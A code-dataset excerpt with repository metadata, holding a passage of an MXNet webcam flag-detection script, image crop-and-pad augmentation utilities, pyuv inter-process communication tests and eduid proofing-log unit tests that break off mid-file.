parser.add_argument('--plot-prob', dest='plot_prob', help='Should probabilities be printed. (1 = Yes, 0 = No)', default=1, type=int) parser.add_argument('--nms', dest='nms_thresh', type=float, default=0.45, help='non-maximum suppression threshold') parser.add_argument('--mean-r', dest='mean_r', type=float, default=123, help='red mean value') parser.add_argument('--mean-g', dest='mean_g', type=float, default=117, help='green mean value') parser.add_argument('--mean-b', dest='mean_b', type=float, default=104, help='blue mean value') parser.add_argument('--data-shape', dest='data_shape', type=int, default=300, help='set image shape') parser.add_argument('--class-names', dest='class_names', type=str, default = class_names, help='string of comma separated names') parser.add_argument('--force', dest='force_nms', type=bool, default=True, help='force non-maximum suppression on different class') parser.add_argument('--has-gpu', dest='gpu', help='GPU device 1 if present else 0', default=1, type=int) parser.add_argument('-src', '--source', dest='video_source', type=int, default=0, help='Device index of the camera.') parser.add_argument('-wd', '--width', dest='width', type=int, default=480, help='Width of the frames in the video stream.') parser.add_argument('-ht', '--height', dest='height', type=int, default=640, help='Height of the frames in the video stream.') args = parser.parse_args() return args if __name__ == '__main__': args = parse_args() color_subtract = (args.mean_r, args.mean_g, args.mean_b) ctx = mx.gpu(0) if args.gpu == 1 else mx.cpu(0) class_names = [class_name.strip() for class_name in args.class_names.split(',')] detector = get_detector(args.network, args.prefix, args.epoch, args.data_shape, color_subtract, ctx, class_names, args.thresh, args.plot_prob, args.nms_thresh, args.force_nms) video_capture = WebcamVideoStream(src=args.video_source, width=args.width, height=args.height).start() while True: frame = video_capture.read() detected_img = process_image(frame) cv2.imshow('Video', detected_img) if cv2.waitKey(1) & 0xFF == ord('q'): break video_capture.stop() cv2.destroyAllWindows()

41.556701

112

0.711734

import os import cv2 import time import argparse import multiprocessing import numpy as np import tools.find_mxnet import mxnet as mx import sys from detect.image_detector import ImageDetector from symbol.symbol_factory import get_symbol from utils import WebcamVideoStream class_names = 'Argentina, Australia, Bhutan, Brazil, Canada, China, Cuba, France, Germany, Greece, India, \ Kenya, Mexico, Norway, Portugal, Saudi Arabia, South Africa, Sri Lanka, Sweden, Thailand, \ Turkey, Ukraine, U.A.E., U.K., U.S.A.' detector = None def get_detector(net, prefix, epoch, data_shape, mean_pixels, ctx, class_names, thresh, plot_confidence, nms_thresh=0.5, force_nms=True, nms_topk=400): if net is not None: net = get_symbol(net, data_shape, num_classes=len(class_names), nms_thresh=nms_thresh, force_nms=force_nms, nms_topk=nms_topk) detector = ImageDetector(net, prefix, epoch, data_shape, mean_pixels, class_names, thresh,\ plot_confidence, ctx=ctx) return detector def process_image(image_frame): detected_img = detector.detect_and_layover_image(image_frame, False) return detected_img def parse_args(): parser = argparse.ArgumentParser(description='Detect objects in the live video') parser.add_argument('--network', dest='network', type=str, default='vgg16_reduced', help='which network to use') parser.add_argument('--epoch', dest='epoch', help='epoch of pretrained model', default=1, type=int) parser.add_argument('--prefix', dest='prefix', help='Trained model prefix', default=os.path.join(os.getcwd(), 'model', 'ssd'), type=str) parser.add_argument('--thresh', dest='thresh', help='Threshold of confidence level', default=0.43, type=float) parser.add_argument('--plot-prob', dest='plot_prob', help='Should probabilities be printed. (1 = Yes, 0 = No)', default=1, type=int) parser.add_argument('--nms', dest='nms_thresh', type=float, default=0.45, help='non-maximum suppression threshold') parser.add_argument('--mean-r', dest='mean_r', type=float, default=123, help='red mean value') parser.add_argument('--mean-g', dest='mean_g', type=float, default=117, help='green mean value') parser.add_argument('--mean-b', dest='mean_b', type=float, default=104, help='blue mean value') parser.add_argument('--data-shape', dest='data_shape', type=int, default=300, help='set image shape') parser.add_argument('--class-names', dest='class_names', type=str, default = class_names, help='string of comma separated names') parser.add_argument('--force', dest='force_nms', type=bool, default=True, help='force non-maximum suppression on different class') parser.add_argument('--has-gpu', dest='gpu', help='GPU device 1 if present else 0', default=1, type=int) parser.add_argument('-src', '--source', dest='video_source', type=int, default=0, help='Device index of the camera.') parser.add_argument('-wd', '--width', dest='width', type=int, default=480, help='Width of the frames in the video stream.') parser.add_argument('-ht', '--height', dest='height', type=int, default=640, help='Height of the frames in the video stream.') args = parser.parse_args() return args if __name__ == '__main__': args = parse_args() color_subtract = (args.mean_r, args.mean_g, args.mean_b) ctx = mx.gpu(0) if args.gpu == 1 else mx.cpu(0) class_names = [class_name.strip() for class_name in args.class_names.split(',')] detector = get_detector(args.network, args.prefix, args.epoch, args.data_shape, color_subtract, ctx, class_names, args.thresh, args.plot_prob, args.nms_thresh, args.force_nms) video_capture = WebcamVideoStream(src=args.video_source, width=args.width, height=args.height).start() while True: frame = video_capture.read() detected_img = process_image(frame) cv2.imshow('Video', detected_img) if cv2.waitKey(1) & 0xFF == ord('q'): break video_capture.stop() cv2.destroyAllWindows()

true

790b01d343e3c9f073136f2bbba4dff70bc167a1

7,604

py

Python

data/crop_and_pad_augmentations.py

rexxxx1234/SAUNet-demo

20e968e1d42217c89cdf4fc304ed2d8717697eec

[ "BSD-3-Clause" ]

81

2020-01-22T20:26:36.000Z

2022-03-03T09:34:17.000Z

data/crop_and_pad_augmentations.py

saunetcvpr2020/shape-attentive-unet

c309fd705fd7b572c80813ab688cc594ed026ad7

[ "BSD-3-Clause" ]

10

2020-04-22T15:47:11.000Z

2021-09-05T02:24:41.000Z

data/crop_and_pad_augmentations.py

rexxxx1234/SAUNet-demo

20e968e1d42217c89cdf4fc304ed2d8717697eec

[ "BSD-3-Clause" ]

18

2020-01-23T07:24:35.000Z

2021-09-17T08:46:09.000Z

# Copyright 2017 Division of Medical Image Computing, German Cancer Research Center (DKFZ) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from builtins import range import numpy as np from batchgenerators.augmentations.utils import pad_nd_image def center_crop(data, crop_size, seg=None): return crop(data, seg, crop_size, 0, 'center') def get_lbs_for_random_crop(crop_size, data_shape, margins): """ :param crop_size: :param data_shape: (b,c,x,y(,z)) must be the whole thing! :param margins: :return: """ lbs = [] for i in range(len(data_shape) - 2): if data_shape[i+2] - crop_size[i] - margins[i] > margins[i]: lbs.append(np.random.randint(margins[i], data_shape[i+2] - crop_size[i] - margins[i])) else: lbs.append((data_shape[i+2] - crop_size[i]) // 2) return lbs def get_lbs_for_center_crop(crop_size, data_shape): """ :param crop_size: :param data_shape: (b,c,x,y(,z)) must be the whole thing! :return: """ lbs = [] for i in range(len(data_shape) - 2): lbs.append((data_shape[i + 2] - crop_size[i]) // 2) return lbs def crop(data, seg=None, crop_size=128, margins=(0, 0, 0), crop_type="center", pad_mode='constant', pad_kwargs={'constant_values': 0}, pad_mode_seg='constant', pad_kwargs_seg={'constant_values': 0}): """ crops data and seg (seg may be None) to crop_size. Whether this will be achieved via center or random crop is determined by crop_type. Margin will be respected only for random_crop and will prevent the crops form being closer than margin to the respective image border. crop_size can be larger than data_shape - margin -> data/seg will be padded with zeros in that case. margins can be negative -> results in padding of data/seg followed by cropping with margin=0 for the appropriate axes :param data: b, c, x, y(, z) :param seg: :param crop_size: :param margins: distance from each border, can be int or list/tuple of ints (one element for each dimension). Can be negative (data/seg will be padded if needed) :param crop_type: random or center :return: """ if not isinstance(data, (list, tuple, np.ndarray)): raise TypeError("data has to be either a numpy array or a list") data_shape = tuple([len(data)] + list(data[0].shape)) data_dtype = data[0].dtype dim = len(data_shape) - 2 if seg is not None: seg_shape = tuple([len(seg)] + list(seg[0].shape)) seg_dtype = seg[0].dtype if not isinstance(seg, (list, tuple, np.ndarray)): raise TypeError("data has to be either a numpy array or a list") assert all([i == j for i, j in zip(seg_shape[2:], data_shape[2:])]), "data and seg must have the same spatial " \ "dimensions. Data: %s, seg: %s" % \ (str(data_shape), str(seg_shape)) if type(crop_size) not in (tuple, list, np.ndarray): crop_size = [crop_size] * dim else: assert len(crop_size) == len( data_shape) - 2, "If you provide a list/tuple as center crop make sure it has the same dimension as your " \ "data (2d/3d)" if not isinstance(margins, (np.ndarray, tuple, list)): margins = [margins] * dim data_return = np.zeros([data_shape[0], data_shape[1]] + list(crop_size), dtype=data_dtype) if seg is not None: seg_return = np.zeros([seg_shape[0], seg_shape[1]] + list(crop_size), dtype=seg_dtype) else: seg_return = None for b in range(data_shape[0]): data_shape_here = [data_shape[0]] + list(data[b].shape) if seg is not None: seg_shape_here = [seg_shape[0]] + list(seg[b].shape) if crop_type == "center": lbs = get_lbs_for_center_crop(crop_size, data_shape_here) elif crop_type == "random": lbs = get_lbs_for_random_crop(crop_size, data_shape_here, margins) else: raise NotImplementedError("crop_type must be either center or random") need_to_pad = [[0, 0]] + [[abs(min(0, lbs[d])), abs(min(0, data_shape_here[d + 2] - (lbs[d] + crop_size[d])))] for d in range(dim)] # we should crop first, then pad -> reduces i/o for memmaps, reduces RAM usage and improves speed ubs = [min(lbs[d] + crop_size[d], data_shape_here[d+2]) for d in range(dim)] lbs = [max(0, lbs[d]) for d in range(dim)] slicer_data = [slice(0, data_shape_here[1])] + [slice(lbs[d], ubs[d]) for d in range(dim)] data_cropped = data[b][tuple(slicer_data)] if seg_return is not None: slicer_seg = [slice(0, seg_shape_here[1])] + [slice(lbs[d], ubs[d]) for d in range(dim)] seg_cropped = seg[b][tuple(slicer_seg)] if any([i > 0 for j in need_to_pad for i in j]): data_return[b] = np.pad(data_cropped, need_to_pad, pad_mode, **pad_kwargs) if seg_return is not None: seg_return[b] = np.pad(seg_cropped, need_to_pad, pad_mode_seg, **pad_kwargs_seg) else: data_return[b] = data_cropped if seg_return is not None: seg_return[b] = seg_cropped return data_return, seg_return def random_crop(data, seg=None, crop_size=128, margins=[0, 0, 0]): return crop(data, seg, crop_size, margins, 'random') def pad_nd_image_and_seg(data, seg, new_shape=None, must_be_divisible_by=None, pad_mode_data='constant', np_pad_kwargs_data=None, pad_mode_seg='constant', np_pad_kwargs_seg=None): """ Pads data and seg to new_shape. new_shape is thereby understood as min_shape (if data/seg is already larger then new_shape the shape stays the same for the dimensions this applies) :param data: :param seg: :param new_shape: if none then only must_be_divisible_by is applied :param must_be_divisible_by: UNet like architectures sometimes require the input to be divisibly by some number. This will modify new_shape if new_shape is not divisibly by this (by increasing it accordingly). must_be_divisible_by should be a list of int (one for each spatial dimension) and this list must have the same length as new_shape :param pad_mode_data: see np.pad :param np_pad_kwargs_data:see np.pad :param pad_mode_seg:see np.pad :param np_pad_kwargs_seg:see np.pad :return: """ sample_data = pad_nd_image(data, new_shape, mode=pad_mode_data, kwargs=np_pad_kwargs_data, return_slicer=False, shape_must_be_divisible_by=must_be_divisible_by) if seg is not None: sample_seg = pad_nd_image(seg, new_shape, mode=pad_mode_seg, kwargs=np_pad_kwargs_seg, return_slicer=False, shape_must_be_divisible_by=must_be_divisible_by) else: sample_seg = None return sample_data, sample_seg

44.209302

121

0.642951

from builtins import range import numpy as np from batchgenerators.augmentations.utils import pad_nd_image def center_crop(data, crop_size, seg=None): return crop(data, seg, crop_size, 0, 'center') def get_lbs_for_random_crop(crop_size, data_shape, margins): lbs = [] for i in range(len(data_shape) - 2): if data_shape[i+2] - crop_size[i] - margins[i] > margins[i]: lbs.append(np.random.randint(margins[i], data_shape[i+2] - crop_size[i] - margins[i])) else: lbs.append((data_shape[i+2] - crop_size[i]) // 2) return lbs def get_lbs_for_center_crop(crop_size, data_shape): lbs = [] for i in range(len(data_shape) - 2): lbs.append((data_shape[i + 2] - crop_size[i]) // 2) return lbs def crop(data, seg=None, crop_size=128, margins=(0, 0, 0), crop_type="center", pad_mode='constant', pad_kwargs={'constant_values': 0}, pad_mode_seg='constant', pad_kwargs_seg={'constant_values': 0}): if not isinstance(data, (list, tuple, np.ndarray)): raise TypeError("data has to be either a numpy array or a list") data_shape = tuple([len(data)] + list(data[0].shape)) data_dtype = data[0].dtype dim = len(data_shape) - 2 if seg is not None: seg_shape = tuple([len(seg)] + list(seg[0].shape)) seg_dtype = seg[0].dtype if not isinstance(seg, (list, tuple, np.ndarray)): raise TypeError("data has to be either a numpy array or a list") assert all([i == j for i, j in zip(seg_shape[2:], data_shape[2:])]), "data and seg must have the same spatial " \ "dimensions. Data: %s, seg: %s" % \ (str(data_shape), str(seg_shape)) if type(crop_size) not in (tuple, list, np.ndarray): crop_size = [crop_size] * dim else: assert len(crop_size) == len( data_shape) - 2, "If you provide a list/tuple as center crop make sure it has the same dimension as your " \ "data (2d/3d)" if not isinstance(margins, (np.ndarray, tuple, list)): margins = [margins] * dim data_return = np.zeros([data_shape[0], data_shape[1]] + list(crop_size), dtype=data_dtype) if seg is not None: seg_return = np.zeros([seg_shape[0], seg_shape[1]] + list(crop_size), dtype=seg_dtype) else: seg_return = None for b in range(data_shape[0]): data_shape_here = [data_shape[0]] + list(data[b].shape) if seg is not None: seg_shape_here = [seg_shape[0]] + list(seg[b].shape) if crop_type == "center": lbs = get_lbs_for_center_crop(crop_size, data_shape_here) elif crop_type == "random": lbs = get_lbs_for_random_crop(crop_size, data_shape_here, margins) else: raise NotImplementedError("crop_type must be either center or random") need_to_pad = [[0, 0]] + [[abs(min(0, lbs[d])), abs(min(0, data_shape_here[d + 2] - (lbs[d] + crop_size[d])))] for d in range(dim)] ubs = [min(lbs[d] + crop_size[d], data_shape_here[d+2]) for d in range(dim)] lbs = [max(0, lbs[d]) for d in range(dim)] slicer_data = [slice(0, data_shape_here[1])] + [slice(lbs[d], ubs[d]) for d in range(dim)] data_cropped = data[b][tuple(slicer_data)] if seg_return is not None: slicer_seg = [slice(0, seg_shape_here[1])] + [slice(lbs[d], ubs[d]) for d in range(dim)] seg_cropped = seg[b][tuple(slicer_seg)] if any([i > 0 for j in need_to_pad for i in j]): data_return[b] = np.pad(data_cropped, need_to_pad, pad_mode, **pad_kwargs) if seg_return is not None: seg_return[b] = np.pad(seg_cropped, need_to_pad, pad_mode_seg, **pad_kwargs_seg) else: data_return[b] = data_cropped if seg_return is not None: seg_return[b] = seg_cropped return data_return, seg_return def random_crop(data, seg=None, crop_size=128, margins=[0, 0, 0]): return crop(data, seg, crop_size, margins, 'random') def pad_nd_image_and_seg(data, seg, new_shape=None, must_be_divisible_by=None, pad_mode_data='constant', np_pad_kwargs_data=None, pad_mode_seg='constant', np_pad_kwargs_seg=None): sample_data = pad_nd_image(data, new_shape, mode=pad_mode_data, kwargs=np_pad_kwargs_data, return_slicer=False, shape_must_be_divisible_by=must_be_divisible_by) if seg is not None: sample_seg = pad_nd_image(seg, new_shape, mode=pad_mode_seg, kwargs=np_pad_kwargs_seg, return_slicer=False, shape_must_be_divisible_by=must_be_divisible_by) else: sample_seg = None return sample_data, sample_seg

true

790b02247d23dd0853cbf0a6b0028ba2c23b6b70

4,497

py

Python

tests/test_ipc.py

benoitc/pyuv

51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18

[ "MIT" ]

1

2020-01-21T11:10:38.000Z

tests/test_ipc.py

benoitc/pyuv

51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18

[ "MIT" ]

null

tests/test_ipc.py

benoitc/pyuv

51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18

[ "MIT" ]

null

import sys from common import unittest2, platform_skip import pyuv TEST_PORT = 1234 if sys.platform == 'win32': TEST_PIPE = '\\\\.\\pipe\\test-pipe' else: TEST_PIPE = 'test-pipe' @platform_skip(["win32"]) class IPCTest(unittest2.TestCase): def setUp(self): self.loop = pyuv.Loop.default_loop() def proc_exit_cb(self, proc, exit_status, term_signal): proc.close() def on_client_connection(self, client, error): client.close() self.connections.remove(client) def make_many_connections(self): for i in range(100): conn = pyuv.TCP(self.loop) self.connections.append(conn) conn.connect(("127.0.0.1", TEST_PORT), self.on_client_connection) def on_ipc_connection(self, handle, error): if self.local_conn_accepted: return conn = pyuv.TCP(self.loop) self.tcp_server.accept(conn) conn.close() self.tcp_server.close() self.local_conn_accepted = True def on_channel_read(self, handle, data, pending, error): if self.tcp_server is None: self.assertEqual(pending, pyuv.UV_TCP) self.tcp_server = pyuv.TCP(self.loop) self.channel.accept(self.tcp_server) self.tcp_server.listen(self.on_ipc_connection, 12) self.assertEqual(data.strip(), b"hello") self.channel.write(b"world") self.make_many_connections() else: if data.strip() == b"accepted_connection": self.assertEqual(pending, pyuv.UV_UNKNOWN_HANDLE) self.channel.close() def test_ipc1(self): self.connections = [] self.local_conn_accepted = False self.tcp_server = None self.channel = pyuv.Pipe(self.loop, True) stdio = [pyuv.StdIO(stream=self.channel, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_READABLE_PIPE|pyuv.UV_WRITABLE_PIPE)] proc = pyuv.Process(self.loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", " proc_ipc.py", "listen_before_write"], exit_callback=self.proc_exit_cb, stdio=stdio) else: proc.spawn(file=sys.executable , args=["proc_ipc.py", "listen_before_write"], exit_callback=self.proc_exit_cb, stdio=stdio) self.channel.start_read2(self.on_channel_read) self.loop.run() def test_ipc2(self): self.connections = [] self.local_conn_accepted = False self.tcp_server = None self.channel = pyuv.Pipe(self.loop, True) stdio = [pyuv.StdIO(stream=self.channel, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_READABLE_PIPE|pyuv.UV_WRITABLE_PIPE)] proc = pyuv.Process(self.loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", " proc_ipc.py", "listen_after_write"], exit_callback=self.proc_exit_cb, stdio=stdio) else: proc.spawn(file=sys.executable, args=["proc_ipc.py", "listen_after_write"], exit_callback=self.proc_exit_cb, stdio=stdio) self.channel.start_read2(self.on_channel_read) self.loop.run() @platform_skip(["win32"]) class IPCSendRecvTest(unittest2.TestCase): def setUp(self): self.loop = pyuv.Loop.default_loop() def proc_exit_cb(self, proc, exit_status, term_signal): proc.close() def on_channel_read(self, handle, data, pending, error): self.assertEqual(pending, pyuv.UV_NAMED_PIPE) self.recv_pipe = pyuv.Pipe(self.loop) self.channel.accept(self.recv_pipe) self.channel.close() self.send_pipe.close() self.recv_pipe.close() def test_ipc_send_recv(self): # Handle that will be sent to the process and back self.send_pipe = pyuv.Pipe(self.loop, True) self.send_pipe.bind(TEST_PIPE) self.channel = pyuv.Pipe(self.loop, True) stdio = [pyuv.StdIO(stream=self.channel, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_READABLE_PIPE|pyuv.UV_WRITABLE_PIPE)] proc = pyuv.Process(self.loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", " proc_ipc_echo.py"], exit_callback=self.proc_exit_cb, stdio=stdio) else: proc.spawn(file=sys.executable, args=["proc_ipc_echo.py"], exit_callback=self.proc_exit_cb, stdio=stdio) self.channel.write2(b".", self.send_pipe) self.channel.start_read2(self.on_channel_read) self.loop.run() if __name__ == '__main__': unittest2.main(verbosity=2)

37.165289

136

0.648655

import sys from common import unittest2, platform_skip import pyuv TEST_PORT = 1234 if sys.platform == 'win32': TEST_PIPE = '\\\\.\\pipe\\test-pipe' else: TEST_PIPE = 'test-pipe' @platform_skip(["win32"]) class IPCTest(unittest2.TestCase): def setUp(self): self.loop = pyuv.Loop.default_loop() def proc_exit_cb(self, proc, exit_status, term_signal): proc.close() def on_client_connection(self, client, error): client.close() self.connections.remove(client) def make_many_connections(self): for i in range(100): conn = pyuv.TCP(self.loop) self.connections.append(conn) conn.connect(("127.0.0.1", TEST_PORT), self.on_client_connection) def on_ipc_connection(self, handle, error): if self.local_conn_accepted: return conn = pyuv.TCP(self.loop) self.tcp_server.accept(conn) conn.close() self.tcp_server.close() self.local_conn_accepted = True def on_channel_read(self, handle, data, pending, error): if self.tcp_server is None: self.assertEqual(pending, pyuv.UV_TCP) self.tcp_server = pyuv.TCP(self.loop) self.channel.accept(self.tcp_server) self.tcp_server.listen(self.on_ipc_connection, 12) self.assertEqual(data.strip(), b"hello") self.channel.write(b"world") self.make_many_connections() else: if data.strip() == b"accepted_connection": self.assertEqual(pending, pyuv.UV_UNKNOWN_HANDLE) self.channel.close() def test_ipc1(self): self.connections = [] self.local_conn_accepted = False self.tcp_server = None self.channel = pyuv.Pipe(self.loop, True) stdio = [pyuv.StdIO(stream=self.channel, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_READABLE_PIPE|pyuv.UV_WRITABLE_PIPE)] proc = pyuv.Process(self.loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", " proc_ipc.py", "listen_before_write"], exit_callback=self.proc_exit_cb, stdio=stdio) else: proc.spawn(file=sys.executable , args=["proc_ipc.py", "listen_before_write"], exit_callback=self.proc_exit_cb, stdio=stdio) self.channel.start_read2(self.on_channel_read) self.loop.run() def test_ipc2(self): self.connections = [] self.local_conn_accepted = False self.tcp_server = None self.channel = pyuv.Pipe(self.loop, True) stdio = [pyuv.StdIO(stream=self.channel, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_READABLE_PIPE|pyuv.UV_WRITABLE_PIPE)] proc = pyuv.Process(self.loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", " proc_ipc.py", "listen_after_write"], exit_callback=self.proc_exit_cb, stdio=stdio) else: proc.spawn(file=sys.executable, args=["proc_ipc.py", "listen_after_write"], exit_callback=self.proc_exit_cb, stdio=stdio) self.channel.start_read2(self.on_channel_read) self.loop.run() @platform_skip(["win32"]) class IPCSendRecvTest(unittest2.TestCase): def setUp(self): self.loop = pyuv.Loop.default_loop() def proc_exit_cb(self, proc, exit_status, term_signal): proc.close() def on_channel_read(self, handle, data, pending, error): self.assertEqual(pending, pyuv.UV_NAMED_PIPE) self.recv_pipe = pyuv.Pipe(self.loop) self.channel.accept(self.recv_pipe) self.channel.close() self.send_pipe.close() self.recv_pipe.close() def test_ipc_send_recv(self): self.send_pipe = pyuv.Pipe(self.loop, True) self.send_pipe.bind(TEST_PIPE) self.channel = pyuv.Pipe(self.loop, True) stdio = [pyuv.StdIO(stream=self.channel, flags=pyuv.UV_CREATE_PIPE|pyuv.UV_READABLE_PIPE|pyuv.UV_WRITABLE_PIPE)] proc = pyuv.Process(self.loop) if sys.platform == 'win32': proc.spawn(file="cmd.exe", args=["/c", " proc_ipc_echo.py"], exit_callback=self.proc_exit_cb, stdio=stdio) else: proc.spawn(file=sys.executable, args=["proc_ipc_echo.py"], exit_callback=self.proc_exit_cb, stdio=stdio) self.channel.write2(b".", self.send_pipe) self.channel.start_read2(self.on_channel_read) self.loop.run() if __name__ == '__main__': unittest2.main(verbosity=2)

true

790b035b77f1a16e7ef28d292d46cfac5ec2ace2

11,257

py

Python

src/eduid_userdb/tests/test_logs.py

SUNET/eduid-userdb

5970880caf0b0e2bdee6c23869ef287acc87af2a

[ "BSD-2-Clause-FreeBSD" ]

null

src/eduid_userdb/tests/test_logs.py

SUNET/eduid-userdb

5970880caf0b0e2bdee6c23869ef287acc87af2a

[ "BSD-2-Clause-FreeBSD" ]

12

2015-08-28T12:05:32.000Z

2020-06-23T13:31:29.000Z

src/eduid_userdb/tests/test_logs.py

SUNET/eduid-userdb

5970880caf0b0e2bdee6c23869ef287acc87af2a

[ "BSD-2-Clause-FreeBSD" ]

2

2016-10-24T06:37:33.000Z

2016-11-21T11:39:39.000Z

# -*- coding: utf-8 -*- from copy import deepcopy from unittest import TestCase from eduid_userdb.fixtures.users import mocked_user_standard from eduid_userdb.logs.db import ProofingLog from eduid_userdb.logs.element import ( LetterProofing, MailAddressProofing, PhoneNumberProofing, ProofingLogElement, SeLegProofing, SeLegProofingFrejaEid, TeleAdressProofing, TeleAdressProofingRelation, ) from eduid_userdb.testing import MongoTemporaryInstance from eduid_userdb.user import User __author__ = 'lundberg' class TestProofingLog(TestCase): def setUp(self): self.tmp_db = MongoTemporaryInstance.get_instance() self.proofing_log_db = ProofingLog(db_uri=self.tmp_db.uri) self.user = User.from_dict(mocked_user_standard.to_dict()) def tearDown(self): self.proofing_log_db._drop_whole_collection() def test_id_proofing_data(self): proofing_element = ProofingLogElement( eppn=self.user.eppn, created_by='test', proofing_method='test', proofing_version='test' ) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertEqual(hit['proofing_method'], 'test') def test_teleadress_proofing(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'reason': 'matched', 'nin': 'some_nin', 'mobile_number': 'some_mobile_number', 'user_postal_address': {'response_data': {'some': 'data'}}, 'proofing_version': 'test', } proofing_element = TeleAdressProofing(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertEqual(hit['reason'], 'matched') self.assertEqual(hit['proofing_method'], 'TeleAdress') self.assertEqual(hit['proofing_version'], 'test') def test_teleadress_proofing_relation(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'reason': 'matched_by_navet', 'nin': 'some_nin', 'mobile_number': 'some_mobile_number', 'user_postal_address': {'response_data': {'some': 'data'}}, 'mobile_number_registered_to': 'registered_national_identity_number', 'registered_relation': 'registered_relation_to_user', 'registered_postal_address': {'response_data': {'some': 'data'}}, 'proofing_version': 'test', } proofing_element = TeleAdressProofingRelation(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertEqual(hit['reason'], 'matched_by_navet') self.assertEqual(hit['proofing_method'], 'TeleAdress') self.assertEqual(hit['proofing_version'], 'test') def test_letter_proofing(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'nin': 'some_nin', 'letter_sent_to': {'name': {'some': 'data'}, 'address': {'some': 'data'}}, 'transaction_id': 'some transaction id', 'user_postal_address': {'response_data': {'some': 'data'}}, 'proofing_version': 'test', } proofing_element = LetterProofing(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertIsNotNone(hit['letter_sent_to']) self.assertIsNotNone(hit['transaction_id']) self.assertEqual(hit['proofing_method'], 'letter') self.assertEqual(hit['proofing_version'], 'test') def test_mail_address_proofing(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'mail_address': 'some_mail_address', 'proofing_version': 'test', 'reference': 'reference id', } proofing_element = MailAddressProofing(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertEqual(hit['proofing_method'], 'e-mail') self.assertEqual(hit['mail_address'], 'some_mail_address') def test_phone_number_proofing(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'phone_number': 'some_phone_number', 'proofing_version': 'test', 'reference': 'reference id', } proofing_element = PhoneNumberProofing(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertEqual(hit['proofing_method'], 'sms') self.assertEqual(hit['phone_number'], 'some_phone_number') self.assertEqual(hit['proofing_version'], 'test') def test_se_leg_proofing(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'proofing_version': 'test', 'nin': 'national_identity_number', 'vetting_by': 'provider', 'transaction_id': 'transaction_id', 'user_postal_address': {'response_data': {'some': 'data'}}, } proofing_element = SeLegProofing(**data) for key, value in data.items(): if key == 'eppn': continue self.assertIn(key, proofing_element.to_dict()) self.assertEqual(value, proofing_element.to_dict().get(key)) self.proofing_log_db.save(proofing_element) result = list(self.proofing_log_db._coll.find({})) self.assertEqual(len(result), 1) hit = result[0] self.assertEqual(hit['eduPersonPrincipalName'], self.user.eppn) self.assertEqual(hit['created_by'], 'test') self.assertIsNotNone(hit['created_ts']) self.assertIsNotNone(hit['nin']) self.assertIsNotNone(hit['user_postal_address']) self.assertEqual(hit['vetting_by'], 'provider') self.assertEqual(hit['transaction_id'], 'transaction_id') self.assertEqual(hit['proofing_method'], 'se-leg') self.assertEqual(hit['proofing_version'], 'test') def test_se_leg_proofing_freja(self): data = { 'eppn': self.user.eppn, 'created_by': 'test', 'proofing_version': 'test', 'nin': 'national_identity_number', 'transaction_id': 'transaction_id', 'opaque_data': 'some data', 'user_postal_address': {'response_data': {'some': 'data'}}, } proofing_element = SeLegProofingFrejaEid(**data) for 